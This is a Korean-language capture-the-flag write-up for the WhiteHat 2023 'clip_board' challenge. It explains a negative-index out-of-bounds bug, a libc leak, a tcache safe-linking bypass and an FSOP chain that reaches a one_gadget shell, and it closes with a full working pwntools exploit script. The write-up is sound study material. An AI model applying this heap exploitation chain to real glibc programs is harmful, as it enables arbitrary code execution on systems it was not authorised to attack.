WhiteHat Contest 2023 Quals - clip_board

0x00. Introduction

[*] '/home/user/clip_board'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Concept

int __fastcall main(int argc, const char **argv, const char **envp)
{
  ...
  v3 = malloc(0x20uLL);
  printf("heap leak: %p\n\n", v3);
  do
  {
    Menu();
    choice = get_int();
    switch ( choice )
    {
      case 1:
        AddClipboard();
        break;
      case 2:
        DelClipboard();
        break;
      case 3:
        ViewClipboard();
        break;
      case 4:
        exit = 1;
        break;
    }
  }
  while ( !exit );
  return 0;
}

AddClipboard(), DelClipboard(), ViewClipboard() ์„ธ ๊ฐ€์ง€ ๊ธฐ๋Šฅ์ด heap์„ ๊ธฐ๋ฐ˜์œผ๋กœ ๊ตฌํ˜„๋˜์–ด์žˆ๋‹ค. ์นœ์ ˆํ•˜๊ฒŒ๋„ heap ์ฃผ์†Œ๋ฅผ ํ•˜๋‚˜ ์ถœ๋ ฅํ•ด์ฃผ์–ด heap leak์„ ๋”ฐ๋กœ ํ•ด์ฃผ์ง€ ์•Š์•„๋„ ๋œ๋‹ค.

Global Variables

char *chunk_list[10];
char check_chunk_list[10];      // size = 16
int chunk_size_list[10];

์˜ˆ๋ฅผ ๋“ค์–ด AddClipboard() ์‹คํ–‰ ์‹œ index์— i๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ์œ„ ๊ตฌ์กฐ์ฒด๋“ค์— ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฐ’์ด ์„ค์ •๋œ๋‹ค.

  • chunk_list[i] : malloc(size)
  • check_chunk_list[i] : 1
  • chunk_size_list[i] : size

์ด ๋•Œ check_chunk_list๋Š” alignment ๋•Œ๋ฌธ์ธ์ง€ 16๋ฐ”์ดํŠธ๋งŒํผ ํ• ๋‹น๋˜์–ด์žˆ๋‹ค.

0x01. Vulnerability

int ViewClipboard()
{
  ...
  printf("index > ");
  index = get_int();
  if ( index <= 9 )
  {
    check = check_chunk_list_4090[index];
    if ( check )
    {
      ptr = chunk_list_4040[index];
      size = chunk_size_list_40A0[index];
      if ( ptr )
      {
        if ( size <= 0x100 )
          return write(1, ptr, size);
      }
    }
  }
  return size;
}

AddClipboard(), DelClipboard(), ViewClipboard()์—์„œ ๊ณตํ†ต์ ์œผ๋กœ index ๊ฐ’์ด ์Œ์ˆ˜์ผ ๋•Œ๋ฅผ ๊ฒ€์ฆํ•˜์ง€ ์•Š์•„ OOB ์ทจ์•ฝ์ ์ด ์žˆ๋‹ค.

๋‹ค๋งŒ ์›ํ•˜๋Š” ๋™์ž‘์„ ํ•˜๊ธฐ ์œ„ํ•ด์„œ check๊ฐ€ 0์ด ์•„๋‹Œ ๊ฐ’์„ ๊ฐ€์ ธ์•ผํ•˜๋ฏ€๋กœ, check_chunk_list ์œ„ ์˜์—ญ์˜ ๊ฐ’์„ ์ž˜ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค.

0x02. Exploit

Libc Leak

gefโžค  x/20gx 0x555555558000
0x555555558000: 0x0000000000000000      0x0000555555558008
0x555555558010: 0x0000000000000000      0x0000000000000000
0x555555558020 <stdout@GLIBC_2.2.5>:    0x00007ffff7fa5780      0x0000000000000000
0x555555558030 <stdin@GLIBC_2.2.5>:     0x00007ffff7fa4aa0      0x0000000000000000
0x555555558040 <chunk_list>:    0x0000000000000000      0x0000000000000000
0x555555558050 <chunk_list+16>: 0x0000000000000000      0x0000000000000000
0x555555558060 <chunk_list+32>: 0x0000000000000000      0x0000000000000000
0x555555558070 <chunk_list+48>: 0x0000000000000000      0x0000000000000000
0x555555558080 <chunk_list+64>: 0x0000000000000000      0x0000000000000000
0x555555558090 <check_chunk_list>:      0x0000000000000000      0x0000000000000000

index๋ฅผ ์Œ์ˆ˜๋กœ ์ž…๋ ฅํ•ด ์ทจ์•ฝ์ ์„ ํ™œ์šฉํ•˜๊ธฐ ์œ„ํ•ด์„œ chunk_list ์œ„ ์˜์—ญ์„ ์‚ดํŽด๋ณด๋ฉด, stdout๊ณผ stdin์ด ์žˆ๋‹ค.

0x555555558008 ์˜์—ญ์— __dso_handle๋ผ๋Š” ๋ณ€์ˆ˜๋ช…์œผ๋กœ bss ์˜์—ญ์˜ ์ฃผ์†Œ๊ฐ€ ์“ฐ์—ฌ์žˆ์–ด ํ™•์ธํ•ด๋ณด๋‹ˆ fini_array์˜ __do_global_dtors_aux์—์„œ ํ•œ๋ฒˆ ์ฐธ์กฐํ•˜๋Š” ๊ฒƒ์„ ์ œ์™ธํ•˜๊ณ ๋Š” ์ฐธ์กฐ๋˜์ง€ ์•Š๋Š”๋‹ค. ์ด ๋ฌธ์ œ์—์„œ๋Š” ๋”ฑํžˆ ์˜๋ฏธ๊ฐ€ ์—†์ง€๋งŒ ๊ธฐ์–ตํ•ด๋’€๋‹ค๊ฐ€ ๋‚˜์ค‘์— ์จ๋จน์œผ๋ฉด ์ข‹์„ ๊ฒƒ ๊ฐ™๋‹ค.

stdin์€ chunk_list[-2], stdout์€ chunk_list[-4]๋กœ ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•œ๋ฐ, ViewClipboard๋กœ ๊ฐ’์„ ์ฝ์–ด์˜ค๊ธฐ ์œ„ํ•ด์„œ๋Š” check_chunk_list[-2]๋‚˜ check_chunk_list[-4]์— 0์ด ์•„๋‹Œ ๊ฐ’์ด ์ €์žฅ๋˜์–ด ์žˆ์–ด์•ผ ํ•œ๋‹ค. ๊ทธ๋ ‡๋‹ค๋ฉด 0x55555555808e ํ˜น์€ 0x55555555808c์— ๊ฐ’์„ ์ €์žฅํ•ด์•ผ ํ•œ๋‹ค๋Š” ์†Œ๋ฆฐ๋ฐ, index๋ฅผ 9๋กœ ์ž…๋ ฅํ•ด์„œ 0x555555558088์— malloc()์ด ๋ฐ˜ํ™˜ํ•œ ๊ฐ’์„ ์ €์žฅํ•œ๋‹ค๊ณ  ํ•ด๋„ ์ฃผ์†Œ ๊ฐ’์ด๋ผ ์œ— ๋ถ€๋ถ„์€ ์“ฐ์ด์ง€ ์•Š์„ํ…Œ๋‹ˆ 0x55555555808e์—๋Š” 0์ด ๋“ค์–ด๊ฐ„๋‹ค.

๋”ฐ๋ผ์„œ stdout๋งŒ view๊ฐ€ ๊ฐ€๋Šฅํ•˜๊ณ , ๋‹ค์Œ๊ณผ ๊ฐ™์€ payload๋กœ libc ์ฃผ์†Œ๋ฅผ ์–ป์—ˆ๋‹ค.

    # leak libc
    add_clipboard(s, 1, 0x10, b"A" * 0x10)
    add_clipboard(s, 9, 0x10, b"B" * 0x10)
    r = view_clipboard(s, -4)
    libc = u64(r[8:16]) - 0x21b803
    stdout_fp = r[0:0xe0]
    log.info(f"libc : {hex(libc)}")

    # clean clipboards
    del_clipboard(s, 1)
    del_clipboard(s, 9)

FSOP

gefโžค  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /home/user/clip_board
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /home/user/clip_board
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /home/user/clip_board
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /home/user/clip_board
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /home/user/clip_board

Full RELRO๊ฐ€ ์ ์šฉ๋˜์–ด์žˆ๊ธฐ ๋•Œ๋ฌธ์— GOT์˜์—ญ์€ write๊ฐ€ ๋ถˆ๊ฐ€๋Šฅํ•˜๊ณ  0x555555558000์™€ chunk_list์˜ ์‚ฌ์ด์—๋Š” stdout, stdin๋ฐ–์— ์—†๋‹ค.

stdout, stdin์„ ๋ฐ”๊ฟ”์„œ RIP control์„ ํ•ด์•ผํ•˜๋‹ˆ ์ž๋ฃŒ๋ฅผ ์ฐพ์•„๋ณด๋‹ค๊ฐ€ FSOP ๊ธฐ๋ฒ•์„ ๋ฐœ๊ฒฌํ–ˆ๋‹ค. FSOP ๊ธฐ๋ฒ•์€ ์ด ๊ธ€์— ์ •๋ฆฌํ•œ ๋‚ด์šฉ์„ ์‚ฌ์šฉํ–ˆ๋‹ค.

๋ฌธ์ œ์—์„œ๋Š” AddClipboard() ๊ธฐ๋Šฅ์„ ์ด์šฉํ•˜์—ฌ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋งˆ์Œ๋Œ€๋กœ ํ• ๋‹น๋ฐ›์„ ์ˆ˜ ์žˆ๊ณ , ์ฒ˜์Œ์— heap ์ฃผ์†Œ๋ฅผ ์ฃผ์—ˆ์œผ๋‹ˆ offset์„ ๊ณ„์‚ฐํ•˜์—ฌ ๋‹ค์Œ๊ณผ ๊ฐ™์ด payload๋ฅผ ์ž‘์„ฑํ–ˆ๋‹ค.

    # allocate wide_vtable
    one_gadget = libc + 0xebc85
    payload = p64(0) * 2                        # dummy
    payload += p64(one_gadget) * 19
    add_clipboard(s, 6, len(payload), payload)
    wide_vtable = heap + 0x4a0

    # allocate anywhere can read / write
    add_clipboard(s, 7, 0x100, b"\x00" * 8)
    anywhere_rw = heap + 0x550

    # allocate wide_data
    payload = bytearray(0x100)
    payload[0x18:0x20] = p64(0)
    payload[0x20:0x28] = p64(anywhere_rw)
    payload[0x30:0x38] = p64(0)
    payload[0xe0:0xe8] = p64(wide_vtable)
    add_clipboard(s, 8, len(payload), payload)
    wide_data = heap + 0x660

    # allocate new_fp and overwrite stdout
    io_wfile_jumps = libc + 0x2170c0
    payload = bytearray(stdout_fp)
    payload[0:8] = p64(0)                       # stdout -> flags
    payload[0xa0:0xa8] = p64(wide_data)         # stdout -> _wide_data
    payload[0xc0:0xc8] = p64(1)                 # stdout -> mode
    payload[0xd8:0xe0] = p64(io_wfile_jumps)    # stdout -> vtable
    add_clipboard(s, -4, 0x100, payload, fin=1)

์–ดโ€ฆ ์‹ ๋‚˜๊ฒŒ ์„ค๋ช…ํ–ˆ๋Š”๋ฐ ์‚ฌ์‹ค ๊ฐ€์žฅ ํฐ ๋ฌธ์ œ๊ฐ€ ํ•˜๋‚˜ ์žˆ๋‹ค. OOB ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ chunk_list[-4]์— ์œ„์น˜ํ•œ stdout์„ overwriteํ•˜๋ฉด ๋ฉ”๋ชจ๋ฆฌ๋Š” ๋‹ค์Œ ์ด๋ฏธ์ง€์™€ ๊ฐ™๋‹ค.

overwrite stdout

๊ทธ๋Ÿฐ๋ฐ ์‚ฌ์‹ค _IO_flush_all_lockp๋Š” _IO_list_all์„ ์ˆœํšŒํ•˜๋ฉฐ file stream์— overflow๊ฐ€ ๋ฐœ์ƒํ–ˆ๋Š”์ง€ ํ™•์ธํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ๊ณต๊ฒฉ์ž๊ฐ€ ํ• ๋‹นํ•œ wide_vtable์˜ one_gadget ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋ฉ”๋ชจ๋ฆฌ๊ฐ€ ๋‹ค์Œ ์ด๋ฏธ์ง€์™€ ๊ฐ™์•„์ ธ์•ผ ํ•œ๋‹ค.

overwrite stdout and unlink _IO_list_all

๋”ฐ๋ผ์„œ libc ์˜์—ญ์— ์žˆ๋Š” _IO_list_all ํฌ์ธํ„ฐ๋ฅผ overwrite ํ•ด์•ผํ•œ๋‹คโ€ฆ

stdout์— ์ €์žฅ๋œ ๊ฐ’์„ ์ง์ ‘ ์ ‘๊ทผํ•˜๋Š” ๋‹ค๋ฅธ FSOP ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ์ฐพ์•˜๋‹ค๋ฉด ์ด๋Ÿฐ ์ง“์€ ํ•˜์ง€ ์•Š์•˜์–ด๋„ ๋๋Š”๋ฐ ์•„์‰ฌ์šธ ๋”ฐ๋ฆ„์ด๋‹คโ€ฆ

์•„์˜ˆ ์ƒˆ๋กœ์šด ๋ฌธ์ œ๋ฅผ ๋ณด๋Š” ๊ธฐ๋ถ„์œผ๋กœ ์ฝ”๋“œ๋ฅผ ๋ณด๋‹ค๋ณด๋ฉด DelClipboard()์—์„œ ๋‹ค์Œ ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

int DelClipboard()
{
  ...
      ptr = chunk_list_4040[index];
      if ( ptr )
      {
        free(ptr);
        chunk_list_4040[index] = 0LL;
        check_chunk_list_4090[index] = 0;
        size = chunk_size_list_40A0;
        chunk_size_list_40A0[index] = 0;
      }
  ...
}

AddClipboard()์—์„œ 1๋กœ ์„ค์ •๋œ check_chunk_list[index]์˜ ๊ฐ’์„ 0์œผ๋กœ ๋Œ๋ ค์ค€๋‹ค.

check_chunk_list ์œ„์—๋Š” malloc()์œผ๋กœ ํ• ๋‹น๋ฐ›์€ heap ์˜์—ญ์˜ ์ฃผ์†Œ๋“ค์ด ์“ฐ์—ฌ์žˆ๋‹ค. ๋งŒ์•ฝ malloc(), free()๋ฅผ ํ•˜๋Š” ์ˆœ์„œ๊ฐ€ ๊ฐ™์œผ๋ฉด offset๋„ ๋™์ผํ•  ๊ฒƒ์ด๋ฏ€๋กœ, ํ• ๋‹น๋ฐ›์€ ์ฃผ์†Œ๋ฅผ leakํ•˜์ง€ ์•Š๋”๋ผ๋„ ์˜ˆ์ธกํ•  ์ˆ˜ ์žˆ๋‹ค.

๋”ฐ๋ผ์„œ malloc์ด 0xXXXXXXXXXX10 ์ฃผ์†Œ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ฒŒ๋” heap์„ ์ •๋ ฌ์‹œ์ผœ๋‘๊ณ , 0xXXXXXXXXXX00 ์ฃผ์†Œ์— fake chunk header๋ฅผ ๋งŒ๋“ค์–ด์ค€ ๋‹ค์Œ, ์ฃผ์†Œ์˜ ๋งˆ์ง€๋ง‰ ๋ฐ”์ดํŠธ์ธ 0x10์„ 0x00์œผ๋กœ ๋งŒ๋“ค์–ด์ฃผ๋ฉด fake chunk๋ฅผ free()์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค.

    # align last byte
    add_clipboard(s, -8, 0xc0, b"C" * 0x20)

    # make fake chunk header
    payload = b"D" * 0x10
    payload += p64(0)
    payload += p64(0x101)
    add_clipboard(s, 0, 0x20, payload)

    # allocate XXXXXXXXX410, XXXXXXXXX440, XXXXXXXXX470 chunks
    add_clipboard(s, 9, 0x20, b"E" * 0x30)
    add_clipboard(s, 1, 0x20, b"F" * 0x20)
    add_clipboard(s, 2, 0x20, b"G" * 0x20)

    # overwrite 410 -> 400 and free fake chunk (size 0x100)
    del_clipboard(s, -8)
    del_clipboard(s, 9)

    # free XXXXXXXXX440, XXXXXXXXX470
    del_clipboard(s, 2)
    del_clipboard(s, 1)

์œ„์™€ ๊ฐ™์ด payload๋ฅผ ์ž‘์„ฑํ•˜๊ณ  ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ณ  tcache์—์„œ ์‚ฌ์ด์ฆˆ 0x30, 0x100 bin์„ ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Tcachebins for thread 1 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Tcachebins[idx=1, size=0x30, count=2] โ†  Chunk(addr=0x555555559440, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
                                      โ†  Chunk(addr=0x555555559470, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Tcachebins[idx=14, size=0x100, count=1] โ†  Chunk(addr=0x555555559400, size=0x100, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

์ด๋ ‡๊ฒŒ 0x555555559400 ์˜์—ญ์ด 0x555555559440, 0x555555559470 ์˜์—ญ๊ณผ ๊ฒน์น˜๊ฒŒ ๋˜๊ธฐ ๋•Œ๋ฌธ์— 0xf0์งœ๋ฆฌ chunk๋ฅผ ์š”์ฒญํ•˜๋ฉด 0x555555559440์˜ fd๋ฅผ overwriteํ•  ์ˆ˜ ์žˆ๋‹ค.

Safe Linking Bypass

๊ทธ๋Ÿฐ๋ฐ ์ด ๋•Œ 0x555555559440๊ณผ 0x555555559470์˜ fd๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด ๋‹จ์ˆœํžˆ ๋‹ค์Œ chunk์˜ ์ฃผ์†Œ๋ฅผ ์ €์žฅํ•˜์ง€ ์•Š๋Š”๋ฐ, ์ด๋Š” tcache์˜ safe linking ๋•Œ๋ฌธ์ด๋‹ค.

gefโžค  x/6gx 0x555555559440 - 0x10
0x555555559430: 0x0000000000000000      0x0000000000000031
0x555555559440: 0x000055500000c129      0x62cde40f9bbc5877
0x555555559450: 0x4646464646464646      0x4646464646464646
gefโžค  x/6gx 0x555555559470 - 0x10
0x555555559460: 0x0000000000000000      0x0000000000000031
0x555555559470: 0x0000000555555559      0x62cde40f9bbc5877
0x555555559480: 0x4747474747474747      0x4747474747474747

๊ณต๋ถ€ํ•œ๊น€์— ๊ฐ„๋žตํ•˜๊ฒŒ ์ •๋ฆฌํ•˜์ž๋ฉด glibc 2.32๋ฒ„์ „๋ถ€ํ„ฐ free๋œ chunk๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ตฌ์กฐ๋ฅผ ๊ฐ€์ง€๊ฒŒ ๋œ๋‹ค.

struct tcache_entry {
    struct tcache_entry *next;
    /* This field exists to detect double frees.  */
    struct tcache_perthread_struct *key;
};

์œ„ ๋ฉ”๋ชจ๋ฆฌ์—์„œ 0x62cde40f9bbc5877๋กœ ์ถœ๋ ฅ๋œ ๊ฒƒ์ด key์ธ๋ฐ, ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋กœ์ง์„ ํ†ตํ•ด double free๋ฅผ ๋ฐฉ์ง€ํ•œ๋‹ค.

  1. free(ptr)์„ ํ–ˆ์„ ๋•Œ,
  2. ptr->key์— ์ œ๋Œ€๋กœ ๋œ key๊ฐ’์ด ์žˆ๋Š”์ง€ ๊ฒ€์ฆ
    • ์—†๋‹ค๋ฉด abort
  3. ์ œ๋Œ€๋กœ ๋œ key ๊ฐ’์ด ์žˆ๋‹ค๋ฉด, ptr์˜ size์— ๋งž๋Š” tcache bin์„ ์ˆœํšŒ
    • ptr์ด bin์— ์žˆ๋‹ค๋ฉด abort

๋ฌธ์ œ๋Š” next์ธ๋ฐ, glibc ๋ฒ„์ „์— ๋”ฐ๋ผ ๋‹ค๋ฅด๊ฒ ์ง€๋งŒ 2.35์˜ ๊ฒฝ์šฐ ํฌ์ธํ„ฐ ๋งˆ์Šคํ‚น ๋˜๋Š” ํฌ์ธํ„ฐ ์•”ํ˜ธํ™” ๊ธฐ๋ฒ•์ด ์ ์šฉ๋˜์–ด์„œ ๋‹ค์Œ ์—ฐ์‚ฐ์„ ํ•˜๊ณ  ์ €์žฅํ•œ๋‹ค.

// Encryption
entry->next = (tcache_entry *) ((uintptr_t) next ^ (uintptr_t) tcache);

// Decryption
tcache_entry *next = (tcache_entry *) ((uintptr_t) e->next ^ (uintptr_t) tcache);

์—ฌ๊ธฐ์—์„œ tcache ๊ฐ’์€ tcache_perthread_struct์˜ ์ฃผ์†Œ๋ผ๊ณ  ํ•˜๋Š”๋ฐโ€ฆ ์‹ค์ œ ๋ฉ”๋ชจ๋ฆฌ์™€ ๋‹ค๋ฅธ ๊ฒƒ ๊ฐ™์•„์„œ 2.35 glibc ์†Œ์Šค์ฝ”๋“œ๋ฅผ elixir์—์„œ ์ฐพ์•„๋ณด์•˜๋Š”๋ฐ ๋ญ”๊ฐ€ ์•ˆ๋งž๋Š” ๊ฒƒ ๊ฐ™์•„ ํ™•์ธ์ด ํ•„์š”ํ•˜๋‹ค.

์•„๋ฌดํŠผ ์‹ค์ œ xor ์—ฐ์‚ฐ์ด ๋˜๋Š” tcache ๊ฐ’์€ heap base ์ฃผ์†Œ๋ฅผ 12bit right shiftํ•œ 0x555555559์œผ๋กœ, next๊ฐ€ null์ด์–ด์•ผ ํ•˜๋Š” 0x555555559470 chunk๋ฅผ ๋ณด๋ฉด ์•Œ ์ˆ˜ ์žˆ๋‹ค. ๋”ฐ๋ผ์„œ _IO_list_all์˜ ์ฃผ์†Œ์ธ 0x7ffff7fa5680์— 0x555555559๋ฅผ xorํ•œ ๊ฒฐ๊ณผ๋ฅผ 0x555555559440 chunk์˜ next ์œ„์น˜์— ์“ฐ๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด tcache bin์ด ๊ตฌ์„ฑ๋œ๋‹ค.

โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Tcachebins for thread 1 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Tcachebins[idx=1, size=0x30, count=2] โ†  Chunk(addr=0x555555559440, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
                                      โ†  Chunk(addr=0x7ffff7fa5680, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  โ†  [Corrupted chunk at 0x7ffff7fa5680]

_IO_list_all์˜ ์ฃผ์†Œ 0x7ffff7fa5680 8๋ฐ”์ดํŠธ ์•ž์— ์œ„์น˜ํ•œ 0์ด size๋กœ ์ธ์‹๋˜์–ด corrupted chunk๋กœ ์ถœ๋ ฅ๋˜์ง€๋งŒ ๋‹คํ–‰ํžˆ malloc() ์‹œ size ๊ฒ€์ฆ์„ ํ•˜์ง€ ์•Š์•„ 0x7ffff7fa5680๋ฅผ ๋ฐ˜ํ™˜๋ฐ›๋Š”๋ฐ์— ์„ฑ๊ณตํ–ˆ๋‹ค.

    # reallocate fake 0x100 chunk and overwrite fd of XXXXXXXXX440
    # now XXXXXXXXX440 -> IO_list_all
    io_list_all = libc + 0x21b680
    payload = b"H" * 0x38
    payload += p64(0x31)
    payload += p64(io_list_all ^ (heap >> 12))
    add_clipboard(s, 3, 0xf0, payload)

    # allocating 5 returns address of IO_list_all
    add_clipboard(s, 4, 0x20, b"I" * 0x20)
    add_clipboard(s, 5, 0x20, p64(heap + 0x770))

์ด๋ ‡๊ฒŒ payload๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ๋ชฉ์ ํ–ˆ๋˜ _IO_list_all์— ์ƒ์„ฑํ•œ new_fd์˜ ์ฃผ์†Œ๊ฐ€ ๋‹ด๊ธฐ๊ฒŒ ๋œ๋‹ค.

gefโžค  x/gx 0x7ffff7fa5680
0x7ffff7fa5680 <_IO_list_all>:  0x0000555555559770

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "clip_board"
LIBRARY = "libc.so.6"
CONTAINER = "69049f0398fe"
code_base = 0x0000555555554000
bp = {
    'main' : code_base + 0x16FD
}

gs = f'''
gef config gef.bruteforce_main_arena True
b *0x7ffff7e1e8e0
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def add_clipboard(s, index, size, contents, fin=0):
    s.sendline(b"1")
    s.recvuntil(b"> ")
    s.sendline(str(index).encode())
    s.recvuntil(b"> ")
    s.sendline(str(size).encode())
    s.recvuntil(b"> ")
    s.send(contents)
    if fin:
        return
    else:
        return s.recvuntil(b"\n> ")

def del_clipboard(s, index):
    s.sendline(b"2")
    s.recvuntil(b"> ")
    s.sendline(str(index).encode())
    return s.recvuntil(b"\n> ")

def view_clipboard(s, index):
    s.sendline(b"3")
    s.recvuntil(b"> ")
    s.sendline(str(index).encode())
    return s.recvuntil(b"\n> ")

def exit_clipboard(s):
    s.sendline(b"4")
    return

def main(port, debug):
    if(port):
        s = remote("0.0.0.0", port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)
    heap = int(s.recvuntil(b"> ").split(b'\n')[0].split(b': ')[1], 16) & 0xfffffffffffff000
    log.info(f"heap : {hex(heap)}")
    
    # leak libc
    add_clipboard(s, 1, 0x10, b"A" * 0x10)
    add_clipboard(s, 9, 0x10, b"B" * 0x10)
    r = view_clipboard(s, -4)
    libc = u64(r[8:16]) - 0x21b803
    stdout_fp = r[0:0xe0]
    log.info(f"libc : {hex(libc)}")

    # clean clipboards
    del_clipboard(s, 1)
    del_clipboard(s, 9)

    # align last byte
    add_clipboard(s, -8, 0xc0, b"C" * 0x20)

    # make fake chunk header
    payload = b"D" * 0x10
    payload += p64(0)
    payload += p64(0x101)
    add_clipboard(s, 0, 0x20, payload)

    # allocate XXXXXXXXX410, XXXXXXXXX440, XXXXXXXXX470 chunks
    add_clipboard(s, 9, 0x20, b"E" * 0x30)
    add_clipboard(s, 1, 0x20, b"F" * 0x20)
    add_clipboard(s, 2, 0x20, b"G" * 0x20)
    
    # overwrite 410 -> 400 and free fake chunk (size 0x100)
    del_clipboard(s, -8)
    del_clipboard(s, 9)

    # free XXXXXXXXX440, XXXXXXXXX470
    del_clipboard(s, 2)
    del_clipboard(s, 1)

    # reallocate fake 0x100 chunk and overwrite fd of XXXXXXXXX440
    # now XXXXXXXXX440 -> IO_list_all
    io_list_all = libc + 0x21b680
    payload = b"H" * 0x38
    payload += p64(0x31)
    payload += p64(io_list_all ^ (heap >> 12))
    add_clipboard(s, 3, 0xf0, payload)

    # allocating 5 returns address of IO_list_all
    add_clipboard(s, 4, 0x20, b"I" * 0x20)
    add_clipboard(s, 5, 0x20, p64(heap + 0x770))
    
    # allocate wide_vtable
    one_gadget = libc + 0xebc85
    payload = p64(0) * 2                        # dummy
    payload += p64(one_gadget) * 19
    add_clipboard(s, 6, len(payload), payload)
    wide_vtable = heap + 0x4a0

    # allocate anywhere can read / write
    add_clipboard(s, 7, 0x100, b"\x00" * 8)
    anywhere_rw = heap + 0x550

    # allocate wide_data
    payload = bytearray(0x100)
    payload[0x18:0x20] = p64(0)
    payload[0x20:0x28] = p64(anywhere_rw)
    payload[0x30:0x38] = p64(0)
    payload[0xe0:0xe8] = p64(wide_vtable)
    add_clipboard(s, 8, len(payload), payload)
    wide_data = heap + 0x660

    # allocate new_fp and overwrite stdout
    io_wfile_jumps = libc + 0x2170c0
    payload = bytearray(stdout_fp)
    payload[0:8] = p64(0)                       # stdout -> flags
    payload[0xa0:0xa8] = p64(wide_data)         # stdout -> _wide_data
    payload[0xc0:0xc8] = p64(1)                 # stdout -> mode
    payload[0xd8:0xe0] = p64(io_wfile_jumps)    # stdout -> vtable
    add_clipboard(s, -4, 0x100, payload, fin=1)

    log.info(f"&stdout : 0x555555558020")
    log.info(f"IO_list_all : {hex(io_list_all)}")
    log.info(f"IO_list_all -> 0x7ffff7fab6a0")
    log.info(f"original_stdout : 0x7ffff7fab780")
    log.info(f"wide_data : {hex(wide_data)}")
    log.info(f"io_wfile_jumps : {hex(io_wfile_jumps)}")
    log.info(f"anywhere_rw : {hex(anywhere_rw)}")
    log.info(f"wide_vtable : {hex(wide_vtable)}")
    log.info(f"one_gadget : {hex(one_gadget)}")

    # trigger _IO_flush_all_lockp
    exit_clipboard(s)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.port, args.debug)